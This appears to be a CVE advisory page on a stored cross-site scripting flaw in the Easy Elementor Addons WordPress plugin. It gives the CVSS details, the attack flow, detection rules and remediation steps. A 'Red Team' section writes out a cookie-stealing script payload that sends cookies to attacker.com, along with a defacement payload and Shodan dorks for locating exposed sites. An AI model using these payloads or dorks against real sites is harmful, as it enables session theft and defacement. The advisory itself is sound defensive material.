☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Hashthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26912

CVE-2025-26912 Cross-Site Scripting in Hashthemes
📅 PUBLISHED: 2025-02-25 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26912 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Easy Elementor Addons by Hashthemes, affecting versions up to and including 2.1.6. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which are then executed when other users (including administrators) view the affected page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the widespread use of Elementor and its addons, this poses a significant risk to WordPress sites, potentially leading to session hijacking, defacement, or redirection to malicious sites. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress dashboard or manually are at risk. The supply chain risk is elevated because the plugin is a third-party addon for the popular Elementor page builder, meaning many sites may have it installed without active maintenance. No official patch has been released by the vendor (Hashthemes) as of this report.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires contributor-level access or higher
  • User Interaction: Required (UI:R) – victim must visit the compromised page
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is 6.5, the potential for privilege escalation (e.g., stealing admin cookies) and the prevalence of WordPress sites make this a significant threat. The lack of a patch increases the urgency.

Deep Dive & Mechanics

The vulnerability exists in the Easy Elementor Addons plugin, which extends the Elementor page builder with additional widgets and features. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and later rendering it in a web page. This allows an attacker with contributor-level access (or higher) to inject malicious JavaScript code into fields such as widget titles, descriptions, or custom CSS/HTML fields.

Attack Flow:

  1. An attacker logs in with a contributor account (or higher).
  2. The attacker creates or edits a page/post using Elementor and inserts a vulnerable widget from Easy Elementor Addons.
  3. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized input field.
  4. The payload is stored in the WordPress database.
  5. When an administrator or other user views the page, the malicious script executes in their browser.
  6. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to a phishing site.

The root cause is the lack of output escaping (e.g., esc_html(), esc_attr()) and input sanitization (e.g., wp_kses()) on the affected fields.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (hypothetical):

// In a widget render function
echo $instance['title']; // Direct output without escaping

Patched Code (hypothetical):

// Properly escaped output
echo esc_html( $instance['title'] );

The patched version would use WordPress's built-in escaping functions to neutralize any HTML or JavaScript before rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with Easy Elementor Addons <= 2.1.6 installed and activated.
  • A user account with at least Contributor privileges.

Steps:

  1. Log in to WordPress as a contributor.
  2. Create a new page or post and edit it with Elementor.
  3. Add a widget from Easy Elementor Addons (e.g., "Heading" or "Testimonial").
  4. In the widget's title or content field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  5. Publish or update the page.
  6. When an administrator visits the page, their session cookie is sent to the attacker's server.

Alternative Payload (for defacement):

<script>document.body.innerHTML = '<h1>Hacked by Red Team</h1>';</script>

Blue Team

Detection Steps:

  1. Monitor for unusual page/post edits by low-privileged users.
  2. Review Elementor widget content for suspicious HTML/JavaScript.
  3. Check WordPress database for stored XSS payloads in wp_postmeta table (meta_key like _elementor_data).
  4. Use the detection rules provided below.

Mitigation:

  • Immediately restrict contributor-level access if not needed.
  • Apply a Web Application Firewall (WAF) rule to block common XSS patterns.
  • Manually audit and sanitize any existing content created by contributors.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown or suspicious domains from the WordPress server.
    • Requests containing document.cookie in the query string.
  • File IOCs:
    • Modified page/post content containing <script> tags in Elementor widget fields.
  • Database IOCs:
    • Entries in wp_postmeta with meta_key = _elementor_data containing JavaScript payloads.
  • Log IOCs:
    • WordPress audit logs showing page edits by contributor accounts followed by admin logins from unusual IPs.

Detection Engineering

YARA Rule

rule CVE_2025_26912_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Easy Elementor Addons"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-26912"
    strings:
        $xss_payload_1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload_2 = /on\w+\s*=\s*["']?[^"']*?\(/is
        $elementor_data = "_elementor_data"
    condition:
        $elementor_data and ($xss_payload_1 or $xss_payload_2)
}

Sigma Rule

title: Stored XSS via Easy Elementor Addons
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects stored XSS payloads in WordPress Easy Elementor Addons plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-json/elementor/v1/"
        http.request_body|contains: 
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26912 Stored XSS Payload in Easy Elementor Addons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/elementor/v1/"; http_uri; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until an official patch is released.
  2. Restrict user roles: Remove contributor-level access from untrusted users.
  3. Audit existing content: Scan all pages/posts created with Elementor for malicious scripts.
  4. Apply virtual patching: Use a WAF to block requests containing <script> tags in Elementor API endpoints.

Long-term Fix:

  • Monitor the plugin's official page for a patched version (>= 2.1.7).
  • Consider switching to an alternative Elementor addon that is actively maintained.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/easy-elementor-addons"
http.html:"easy-elementor-addons"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26912/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.